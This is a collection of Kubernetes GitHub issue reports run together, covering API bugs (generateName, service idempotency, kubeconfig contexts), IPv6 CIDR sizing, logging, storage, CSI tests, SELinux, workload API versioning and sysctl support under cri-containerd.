kubernetes version    use  kubectl version  : latest\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t23:37:53z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.2604+b22a298009ec79\ , gitcommit:\ b22a298009ec79e7f681ac2ae8070bbcc6fffcd1\ , gittreestate:\ clean\ , builddate:\ 2017-04-15t18:41:18z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r \r it's likely a bug in the api affecting all environments, but i found this while interacting with gke.\r \r   what happened  :\r \r after submitting new resource quota with generated name, the resource quota was  correctly  created, but then it didn't return the  generatename  attribute back from the api.\r \r   what you expected to happen  :\r \r persist & return the  generatename  attribute from the api for any resource quota which has this attribute set.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r    rq.yaml   \r    yaml\r apiversion: v1\r kind: resourcequota\r metadata:\r   generatename: \ myprefix-\ \r spec:\r   hard:\r     cpu: \ 20\ \r     memory: 1gi\r     pods: \ 10\ \r     replicationcontrollers: \ 20\ \r     resourcequotas: \ 1\ \r     services: \ 5\ \r    \r    sh\r $ kubectl create -f rq.yaml\r resourcequota \ myprefix-hq2v4\  created\r $ kubectl get resourcequota myprefix-hq2v4 -o=yaml\r    \r    yaml\r apiversion: v1\r kind: resourcequota\r metadata:\r   creationtimestamp: 2017-04-16t10:15:09z\r   name: myprefix-hq2v4\r   namespace: default\r   resourceversion: \ 88928\ \r   selflink: /api/v1/namespaces/default/resourcequotas/myprefix-hq2v4\r   uid: 92598458-228d-11e7-b6c1-42010a800002\r spec:\r   hard:\r     cpu: \ 20\ \r     memory: 1gi\r     pods: \ 10\ \r     replicationcontrollers: \ 20\ \r     resourcequotas: \ 1\ \r     services: \ 5\ \r status:\r   hard:\r     cpu: \ 20\ \r     memory: 1gi\r     pods: \ 10\ \r     replicationcontrollers: \ 20\ \r     resourcequotas: \ 1\ \r     services: \ 5\ \r   used:\r     cpu: \ 0\ \r     memory: \ 0\ \r     pods: \ 0\ \r     replicationcontrollers: \ 0\ \r     resourcequotas: \ 1\ \r     services: \ 1\ \r    \r \r here's also a repro case in a form of a failing e2e test:\r https://github.com/kubernetes/kubernetes/commit/246233597d4f9499a25914ed8fe17335cb56d9aa\r \r    \r • failure  25.529 seconds \r  k8s.io  resourcequota\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:656\r   should create a resourcequota and return generated name.  it \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resource_quota.go:559\r \r   expected\r       <string>:\r   to equal\r       <string>: test-quota-with-prefix-\r \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resource_quota.go:558\r    \r \r   anything else we need to know  :\r \r i checked other resources, specifically config map & pod and they both seem to persist and return the  generatename  attribute, so i'm assuming this behaviour is not by design.

when pod is evicted, pod is terminated. after this change  45286, attach/detach controller should be able to detach the pod correctly so that new pod which uses the same volume will start up. we need to have an e2e test for this scenario.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r sending a post request twice to the api to create a clusterip service, whose address is fixed in the configuration, returns an http 422 on the second request. the 422 response is complaining about the already consumed fixed ip address.\r \r   what you expected to happen  :\r \r based on  name idempotency  https://github.com/kubernetes/community/blob/master/contributors/devel/api-conventions.md idempotency  from the docs, i'd expect that a service creation request should always return a 409 if the service already exists and it is a valid configuration file.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r in an empty cluster  on something like the  interactive tutorial environment  https://kubernetes.io/docs/tutorials/kubernetes-basics/update-interactive/  , run this command twice. the second one fails because of ip conflict  http 422  rather than service name existence  http 409 .\r \r    \r $ echo \ apiversion: v1\r kind: service\r metadata:\r   name: test\r spec:\r   clusterip: 10.0.0.2\r   ports:\r     - port: 53\r       protocol: tcp\r \  | kubectl create -f - -v 8\r    \r \r   anything else we need to know?  :\r \r   environment  :\r running in the interactive tutorial.\r \r - kubernetes version  use  kubectl version  : \r \r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

separate cluster kubeconfig files can have unnamed contexts, e.g.\r \r    \r apiversion: v1\r kind: config\r clusters:\r - name: cluster-8f18\r   cluster:\r     server: https://foo.bar\r users:\r - name: admin\r   user:\r contexts:\r - context:\r     cluster: cluster-8f18\r     user: admin\r    \r \r then  kubectl config view --minify=true  complains that no context is set.\r \r meanwhile:\r    \r $ kubectl config get-contexts\r current   name      cluster        authinfo   namespace\r                     cluster-8f18   admin\r    \r \r and\r \r    \r $ kubectl config current-context\r error: current-context is not set\r    \r \r and\r \r    \r $ kubectl config use-context \ \ \r error: you must specify a current-context\r    \r \r all not very consistent.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r for ipv6, the node cidr size is hard coded to /64. this causes an error bringing up the kube-controller, as the size must be for a smaller subnet  larger value  that what is used for the pod subnet, which is specified for some cni plugins  e.g. calico .\r \r in addition, this is a catch-22, as the pod subnet prefix cannot be for a larger network  smaller value  than /66, so we cannot set it to /63, for example.\r \r   what you expected to happen  :\r the node cidr size should be computed, based on the pod subnet specified, so that it can meet the requirements. \r \r   how to reproduce it  as minimally and precisely as possible   :\r bring up a cluster using kubeadm, specifying ipv6 and choose any pod subnet prefix desired.\r \r   anything else we need to know?  :\r note, there is a second requirement, that the difference between pod subnet size and node cidr size be 16 or less  issue 44918 .\r \r i'll be submitting a proposed pr to address this.\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest on master, using 1.9.2 in my case\r - cloud provider or hardware configuration: bare metal, single node\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r linux bxb-c2-77 4.4.0-109-generic  132-ubuntu smp tue jan 9 19:52:39 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools: kubeadm\r - others:\r /area ipv6\r 

the cabundle field in the aggregator's apiservice type is required to be set: https://github.com/kubernetes/kubernetes/blob/9baae557daf7a505ee81d0383feb4b4d397f1aec/staging/src/k8s.io/kube-aggregator/pkg/apis/apiregistration/v1/types.go l56\r \r if we want to implement a cert generation and rotation controller  which is done downstream by openshift and could be done as third party component  for aggregated apiserver keys and certs, it is still necessary to set the cabundle field to the used ca.\r \r it shouldn't be necessary to put this ca into each apiservice object, especially because it makes those manifests different for every cluster. instead they should be generic. think of   helm install some-apiserver .\r \r we want to have some kind of defaulting mechanism that allows to auto-default the cabundle field to a cluster-global value.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   \r \r   what happened  :\r when running a pod, k8s will create a symlink in /var/log/containers\r    \r  root@hpa-vm:/var/log/containers $ docker ps\r container id image command created status ports names\r 695a1e105873 6b60a9253836 \ nginx -g 'daemon off\  2 minutes ago up 2 minutes k8s_nginx_nginx-fwjjj_default_ee8301d7-290e-11e8-80e8-002dc92800b3_0\r 02fec5a353c1 gcr.io/google_containers/pause-amd64:3.0 \ /pause\  2 minutes ago up 2 minutes k8s_pod_nginx-fwjjj_default_ee8301d7-290e-11e8-80e8-002dc92800b3_0\r \r  root@hpa-vm:/var/log/containers $ ll\r total 0\r lrwxrwxrwx 1 root root 62 mar 16 19:41 nginx-fwjjj_default_nginx-695a1e105873440d0b48b0ffa2cc800930035e3d5235e917795e480b7c022e7c.log -> /var/log/pods/ee8301d7-290e-11e8-80e8-002dc92800b3/nginx/0.log\r    \r \r then we delete the container manually, k8s will start a new container ,but now there are two symlinks in /var/log/containers\r \r    \r  root@hpa-vm:~ $ docker ps\r container id        image                                             command                  created             status              ports               names\r d5dcce4761e2        6b60a9253836                                      \ nginx -g 'daemon off\    3 hours ago         up 3 hours                              k8s_nginx_nginx-fwjjj_default_ee8301d7-290e-11e8-80e8-002dc92800b3_0\r 02fec5a353c1        gcr.io/google_containers/pause-amd64:3.0          \ /pause\                  3 hours ago         up 3 hours                              k8s_pod_nginx-fwjjj_default_ee8301d7-290e-11e8-80e8-002dc92800b3_0\r \r  root@hpa-vm:/var/log/containers $ ll\r total 0\r lrwxrwxrwx 1 root root 62 mar 16 19:41 nginx-fwjjj_default_nginx-695a1e105873440d0b48b0ffa2cc800930035e3d5235e917795e480b7c022e7c.log -> /var/log/pods/ee8301d7-290e-11e8-80e8-002dc92800b3/nginx/0.log\r lrwxrwxrwx 1 root root 62 mar 16 19:47 nginx-fwjjj_default_nginx-d5dcce4761e244275f0f49d0a56a0c1be097530a9a727476d41b68e528130525.log -> /var/log/pods/ee8301d7-290e-11e8-80e8-002dc92800b3/nginx/0.log\r    \r \r these two symlinks are healthy and link same log file.\r   what you expected to happen  :\r the previously legacy symlink could be deleted\r   how to reproduce it  as minimally and precisely as possible   :\r use docker rm -f <containerid> delete a container managed by k8s\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r \r client version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-alpha.0.428+5d144152e4d07f\ , gitcommit:\ 5d144152e4d07f3752c05ec24e31d840adcd90a2\ , gittreestate:\ clean\ , builddate:\ 2018-02-26t02:37:04z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-alpha.0.428+5d144152e4d07f\ , gitcommit:\ 5d144152e4d07f3752c05ec24e31d840adcd90a2\ , gittreestate:\ clean\ , builddate:\ 2018-02-26t02:37:04z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

fluentd-elasticsearch collect too much no use log data。\r the example data as below:\r    \r {\r   \ _index\ : \ logstash-2018.06.20\ ,\r   \ _type\ : \ fluentd\ ,\r   \ _id\ : \ mhadj2qbbg_ob7dytfka\ ,\r   \ _version\ : 1,\r   \ _score\ : null,\r   \ _source\ : {\r     \ priority\ : \ 6\ ,\r     \ _uid\ : \ 0\ ,\r     \ _gid\ : \ 0\ ,\r     \ _systemd_slice\ : \ system.slice\ ,\r     \ _boot_id\ : \ 0ba08cff68484b2e8434c00b5b74b887\ ,\r     \ _machine_id\ : \ 91ce6608ecd049b8a0b7796d749df12e\ ,\r     \ _transport\ : \ journal\ ,\r     \ _cap_effective\ : \ 1fffffffff\ ,\r     \ _hostname\ : \ node128\ ,\r     \ _pid\ : \ 1049\ ,\r     \ _comm\ : \ dockerd-current\ ,\r     \ _exe\ : \ /usr/bin/dockerd-current\ ,\r     \ _cmdline\ : \ /usr/bin/dockerd-current --add-runtime docker-runc=/usr/libexec/docker/docker-runc-current --default-runtime=docker-runc --exec-opt native.cgroupdriver=systemd --userland-proxy-path=/usr/libexec/docker/docker-proxy-current --init-path=/usr/libexec/docker/docker-init-current --seccomp-profile=/etc/docker/seccomp.json --selinux-enabled --log-driver=journald --signature-verification=false --storage-driver overlay2\ ,\r     \ _systemd_cgroup\ : \ /system.slice/docker.service\ ,\r     \ _systemd_unit\ : \ docker.service\ ,\r     \ container_name\ : \ k8s_calico-node_canal-6w44b_kube-system_35ea19d8-6ef0-11e8-9d9e-005056a56080_1\ ,\r     \ container_tag\ : \ e7576f5f672c\ ,\r     \ container_id\ : \ e7576f5f672c\ ,\r     \ container_id_full\ : \ e7576f5f672c6a2461a798a5e2c6d5099edf7eb806fe7a0449ccea5a99723f31\ ,\r     \ message\ : \ 2018-06-20 02:35:19.273  info  27  int_dataplane.go 747: finished applying updates to dataplane. msectoapply=79.541592\ ,\r     \ _source_realtime_timestamp\ : \ 1529462119273490\ ,\r     \ @timestamp\ : \ 2018-06-20t02:35:19.275278000+00:00\ ,\r     \ tag\ : \ docker\ \r   },\r   \ fields\ : {\r     \ @timestamp\ :  \r       \ 2018-06-20t02:35:19.275z\ \r      \r   },\r   \ sort\ :  \r     1529462119275\r    \r }\r    \r \r if can we limit the same log collect frequency?\r \r \r \r \r

 <!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r \r   what happened  :\r i'm trying to have a kubernetes cluster on three virtual machines using virtualbox  on my laptop . the cluster works fine except the hub pod:\r \r    \r $ kubectl get pods --all-namespaces\r namespace     name                                      ready     status    restarts   age\r jhub          hub-95ddc9d56-zvssl                       0/1       pending   0          20m\r jhub          proxy-65bd7d986c-8rp2m                    2/2       running   0          20m\r kube-system   calico-etcd-f6jv7                         1/1       running   0          5d\r kube-system   calico-kube-controllers-cd589c58b-667rb   1/1       running   4          9d\r kube-system   calico-node-9q6bx                         2/2       running   5          9d\r kube-system   calico-node-hxpvd                         2/2       running   6          9d\r kube-system   calico-node-sc82w                         2/2       running   5          9d\r kube-system   coredns-78fcdf6894-jpj5q                  1/1       running   2          9d\r kube-system   coredns-78fcdf6894-nktlv                  1/1       running   2          9d\r kube-system   etcd-kubemaster                           1/1       running   2          9d\r kube-system   kube-apiserver-kubemaster                 1/1       running   2          9d\r kube-system   kube-controller-manager-kubemaster        1/1       running   2          9d\r kube-system   kube-proxy-9cjvb                          1/1       running   2          9d\r kube-system   kube-proxy-clrbp                          1/1       running   2          9d\r kube-system   kube-proxy-jptfq                          1/1       running   2          9d\r kube-system   kube-scheduler-kubemaster                 1/1       running   2          9d\r kube-system   kubernetes-dashboard-6948bdb78-ds22w      1/1       running   2          9d\r kube-system   tiller-deploy-56c4cf647b-4r8qs            1/1       running   2          9d\r \r    \r    \r $ kubectl get sc \r no resources found.\r    \r    \r $ kubectl get pv --all-namespaces\r no resources found.\r \r    \r \r as you can see everything is up and running but since there is no storage class and persistent volume, so i cannot deploy jupyterhub on the cluster. whenever i deploy jupyterhub  from  zero to jupyterhub  https://zero-to-jupyterhub.readthedocs.io/en/latest/   the hub pod remains in pending. \r \r    \r $ kubectl --namespace=jhub get pod -o wide\r name                     ready     status    restarts   age       ip               node      nominated node\r hub-95ddc9d56-zvssl      0/1       pending   0          14s       <none>           <none>    <none>\r proxy-65bd7d986c-8rp2m   2/2       running   0          14s       192.168.236.14   worker1   <none>\r    \r    \r $ kubectl --namespace=jhub get svc\r name           type           cluster-ip       external-ip   port s                       age\r hub            clusterip      10.108.157.198   <none>        8081/tcp                     9m\r proxy-api      clusterip      10.108.111.173   <none>        8001/tcp                     9m\r proxy-http     clusterip      10.98.98.199     <none>        8000/tcp                     9m\r proxy-public   loadbalancer   10.99.157.227    <pending>     80:31276/tcp,443:32184/tcp   9m\r    \r    \r $ kubectl --namespace=jhub get pvc\r name         status    volume    capacity   access modes   storageclass   age\r hub-db-dir   pending\r              \r \r i know that there should be a persistent volume so this claim will be bound to that, but the problem is i don't have any storage class and persistent volume, and i don't know which provisioner would work for my cluster. \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:17:28z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r three virtual machines  ubuntu 16.04  on virtualbox, one master with 8g ram and 2 cpus, and two workers each with 4g ram and 2 cpus. \r \r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.5 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r \r i think i provided all the information is needed, but if you want to know something more please ask me. \r \r thanks, \r

 \r   what happened  :\r the unit tests for  csidriverclient  do not exercise any production code, instead they exercise some fakes. \r \r   what you expected to happen  :\r we expected the tests to fail when we deliberately break the code.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - make the code changes from  this commit   https://github.com/pivotal-k8s/kubernetes/commit/b3b0ea823fdddf2d3a9896388f3952b06ec7fb0e  which completely gut the functionality of csidriverclient\r - run the volume/csi unit tests\r - see them pass\r \r   anything else we need to know?  :\r the problem seems to have been introduced in  this pr  https://github.com/kubernetes/kubernetes/pull/64519 . \r \r we would like to fix that and will issue a pr soon. we are thinking of slightly refactoring the  csi_client  code to allow us to fake the grpc connection when the  csidriverclient  is under test. then we can fix the tests to invoke the real  csidriverclient  with a faked  nodeclient  and faked grpc connection.\r \r /cc @davidz627 \r /cc @vladimirvivien \r 

if you model deployments of an application as a sequence of replication controllers, often you want to keep the last set of replication controllers around for historical rollback of deployments.  for example, rc n .replicas=5, rc n-1 .replicas=0, rc n-2 .replicas=0, etc.  if i want to rollback to n-2, ideally, you would size rc n .replicas=0 and size up rc n-2 .replicas.  the issue is that when you keep a number of legacy controllers laying around in a namespace, they each consume resources resolving the replica size is actually 0 as desired.  ideally, i would have a way to mark a replication controller as inert, and if inert, the replication controller loop would just skip to the next replication controller and avoid the etcd lookup.  /cc @ironcladlou

this is a suggestion from one of our users.  during rolling update, we are informed about replication controller changes:      biskup@cathedral:~/go/src/github.com/googlecloudplatform/kubernetes$ kubectl rolling-update update-demo-nautilus --update-period=10s -f examples/update-demo/kitten-rc.yaml creating update-demo-kitten at beginning of loop: update-demo-nautilus replicas: 3, update-demo-kitten replicas: 1 updating update-demo-nautilus replicas: 3, update-demo-kitten replicas: 1 at end of loop: update-demo-nautilus replicas: 3, update-demo-kitten replicas: 1 stopping update-demo-nautilus replicas: 3 -> 0 update succeeded. deleting update-demo-nautilus update-demo-kitten      but even if replication controllers are scaled properly, we don't know if the pods actually started and are well. a way to check pods is to get logs from each of them and check if they printed a certain message like  service started . currently to achieve it, we have to list pods, identify which ones belong to the new rc and get logs from them. it would be nice to show logs from pods   during   rolling update, so that the admin could see how the update goes.  ways to proceed: 1. fetch and print pod logs by  kubectl rolling update   this was the suggestion . 2. improve our examples and show an equivalent  and easy  way to accomplish the same.  equivalent ways may be: a  health checking on pods; the health-check results should then be presented by  kubectl rolling update   cc. @brendandburns

in some examples  such as the  nfs example  http://kubernetes.io/v1.0/examples/nfs/readme.html  , the docs note that the ability to create privileged containers is required and to edit  cluster/saltbase/pillar/privilege.sls  to achieve this.  however, this file is  stripped from packaged releases  https://github.com/googlecloudplatform/kubernetes/blob/v1.0.1/build/common.sh l760  so the example is a little complicated to work with if you aren't running from git.  might i suggest a note on downloading the saltbase cluster data if you are using a packaged release be added to the documentation?  once i did this, i was able to get the nfs server pod to launch without issue.

alanhartless  1:27 pm    > anyone by chance know if the fact that  /sys/fs/cgroup/cpuacct/docker  doesn’t exist in a google container node is a google, debian, kubernetes, or docker issue? new relics docker monitor apparently doesn’t work because  /sys/fs/cgroup/cpuacct/docker  and  /sys/fs/cgroup/memory/docker  doesn’t exist. https://discuss.newrelic.com/t/docker-metrics-not-report-correctly-for-google-container-engine/36127/3?u=alan.hartless  beeps  4:42 pm    > @alanhartless: your stats should just be in /cpuacct not under /docker > i.e /sys/fs/cgroup/cpu/$ docker inspect --format {{.id}} <container-id> /cpu.shares > i'm guessing this is because we reparent cgroups.  alanhartless  7:45 pm   > @beeps thanks; apparently new relic disagrees :simple_smile: i hope they fix it.  alanhartless  9:19 am    > @beeps on the subject of new relic’s docker monitoring feature  http://newrelic.com/docker , they replied with >    google container engine's implementation of docker isn't currently supported by the lsm. this is because of the difference in the path to the .stat files. i have heard of folks using custom cgroups in their docker run command to revert the gce behavior to default, and get the lsm working, but i have yet to see it in action. this might be worth investigating. > by chance know if that’s possible and if so, what implications are there for kubernetes?  @kubernetes/sig-node to comment on \ google container engine's implementation of docker\ , maybe there's an easy workaround?

we need to automate the pr workflow using comment-based commands. - allow pr participants to easily see who action is required from and search for prs requiring attention - allow pr participants to work through full pr merge process without write access to the gh repo labels  tracked in: https://github.com/kubernetes/contrib/issues/869

i just found a cluster like this\r    \r conditions:\r   type\t\t\tstatus\t\tlastheartbeattime\t\t\tlasttransitiontime\t\t\treason\t\t\t\tmessage\r   ----\t\t\t------\t\t-----------------\t\t\t------------------\t\t\t------\t\t\t\t-------\r   networkunavailable \tfalse \t\tsat, 05 nov 2016 00:01:27 +0000 \tsat, 05 nov 2016 00:01:27 +0000 \troutecreated \t\t\troutecontroller created a route\r   outofdisk \t\tunknown \tthu, 03 nov 2016 12:18:28 +0000 \tthu, 03 nov 2016 12:19:12 +0000 \tnodestatusunknown \t\tkubelet stopped posting node status.\r   memorypressure \tfalse \t\tthu, 03 nov 2016 12:18:28 +0000 \tthu, 03 nov 2016 12:05:44 +0000 \tkubelethassufficientmemory \tkubelet has sufficient memory available\r   diskpressure \t\tfalse \t\tthu, 03 nov 2016 12:18:28 +0000 \tthu, 03 nov 2016 12:05:44 +0000 \tkubelethasnodiskpressure \tkubelet has no disk pressure\r   ready \t\tunknown \tthu, 03 nov 2016 12:18:28 +0000 \tthu, 03 nov 2016 12:19:12 +0000 \tnodestatusunknown \t\tkubelet stopped posting node status.\r    \r \r cc/ @dchen1107

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r    no  , not particularly related to troubleshooting\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r yeah i searched for   selinux:issues  , could not found any satisfactory results\r \r ---\r \r   is this a bug report or feature request?    choose one :\r neither of them, its just an extra thing may be in security point of view\r <!--\r \r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r \r \r   kubernetes version    use  kubectl version  :\r latest  1.4.9 \r \r   environment  :\r -   cloud provider or hardware configuration  :\r intel core i7  local machine \r -   os    e.g. from /etc/os-release :\r centos 7\r -   kernel    e.g.  uname -a  :\r 3.10.0-514.el7.x86_64\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r -can't find selinux module in   semodule -l   related to kubernetes\r -can't find proper/valid   selinux labels   for   kubelet   service\r \r   what you expected to happen  :\r - a selinux module of kubernetes in   semodule -l   list\r - proper/valid selinux labels for   kubelet   service and kubernetes\r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r there should be a selinux module for kubernetes inorder to get proper labels on kublet service and kubernetes contexts binaries and files etc  to make it work in selinux restricted environment.  i could not found any of this on my centos machine after installing and configuring kubernetes.\r

feature request  : create a new version in the apps group for the core workloads api.\r when we advance the core workloads api  daemonset, deployment, replicaset, and statefulset  to v1, we want them to advance as a group and be  where possible  consistent. prior to doing so, we would like to make any api incompatible changes. in particular we will \r -  x  bump deployment and statefulset to  apps/v1beta2    48746  @janetkuo\r -  x  bump replicaset to  apps/v1beta2    49238  @janetkuo\r -  x  bump daemonset to  apps/v1beta2    49071  @foxish \r -  x  deprecate  .spec.rollbackto , and remove the  /rollback  subresource of apps/v1beta2 deployment ~or modify it such that the controller is not required to modify its own spec~.   49340  @janetkuo \r -  x  add a  /scale  subresource for statefulset   49168  @crimsonfaith91 \r -  x  remove the  templategeneration  feild of daemonset   49454  @dixudx \r -  x  change the statefulset  observedgeneration  from a pointer to an int for consistency.   49607  @dixudx  \r -  x  review the api objects for consistency, and  where appropriate  make changes to bring them into alignment  modifying field names a necessary .\r -  x  ensure that the defaults and validation are consistent and appropriate across all controllers.\r -  x  deprecate core workloads api versions under  /extensions \r -  x  enable  apps/v1beta2  by default and remove wip marks after api changes is done\r \r we may find other incompatible changes that are required prior to promotion, and we would like to make them in this version, prior to releasing it. when the community is satisfied with the api surface, as contained in this version, and it is stable, we would like to promote all of the core workloads api to ga by moving the contained api to v1.\r \r https://github.com/kubernetes/features/issues/353\r  \r

@kubernetes/sig-aws-bugs\r > /bug\r \r \r   what happened  :\r \r when creating a deployment with a docker image that is hosted on a private repository, with an  imagepullsecret  that allows access to the private server, you are unable to update the image using the  set-image  command with a newly push docker image.\r \r   what you expected to happen  :\r \r you should be able to execute the command and have it update with a new docker image.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r push 2 versions of a docker image hosted on a private repository  dockerhub works  with the tags v1 and v2.  create a kubectl secret which allows access to your dockerhub private repos.  add this to the imagepullsecrets field.  create a kubernetes deployment using the image with the v1 tag.  now use the  kubectl set-image  command to update the image to the v2 tag.  this should also work.  now build and push a  3rd  version to dockerhub with tag v3.  attempt to update the image with the  set-image  command.  you will get an  errimgpull  and it won't work.\r \r \r   anything else we need to know?  :\r \r - kubernetes version  use  kubectl version  : 1.7\r - cloud provider or hardware configuration: aws\r

 \r   what happened  :\r while testing cri-containerd to ensure sysctl support   https://github.com/kubernetes-incubator/cri-containerd/pull/119   is working i ran:\r    \r make test-e2e-node focus=sysctls runtime=remote container_runtime_endpoint=/var/run/cri-containerd.sock\r    \r   what you expected to happen  :\r all sysctls tests pass.\r \r   how to reproduce it  as minimally and precisely as possible   :\r install and setup here:\r https://github.com/kubernetes-incubator/cri-containerd/blob/master/docs/testing.md node-e2e-test\r \r   anything else we need to know?  :\r the following diff resolves the issue:\r    \r diff --git a/pkg/kubelet/sysctl/runtime.go b/pkg/kubelet/sysctl/runtime.go\r index 0fb032b..ebbc618 100644\r --- a/pkg/kubelet/sysctl/runtime.go\r +++ b/pkg/kubelet/sysctl/runtime.go\r @@ -75,9 +75,7 @@ func newruntimeadmithandler runtime container.runtime    runtimeadmithandler, er\r         // for other runtimes like rkt sysctls are not supported\r         return &runtimeadmithandler{\r                 result: lifecycle.podadmitresult{\r -                       admit:   false,\r -                       reason:  unsupportedreason,\r -                       message: fmt.sprintf \ runtime %v does not support sysctls\ , runtime.type   ,\r +                       admit: true,\r                 },\r         }, nil\r  }\r    \r there may be other \ filters\  that need to be revised to allow more tests to execute for cri enabled testing.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.743+d779e9c9561b73\ , gitcommit:\ d779e9c9561b732adf06263c5424889e7564fdbd\ , gittreestate:\ clean\ , builddate:\ 2017-08-08t20:13:28z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - os  e.g. from /etc/os-release :\r cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r - kernel  e.g.  uname -a  :\r linux mike-virtualbox 4.4.0-89-generic  112-ubuntu smp mon jul 31 19:38:41 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r @random-liu

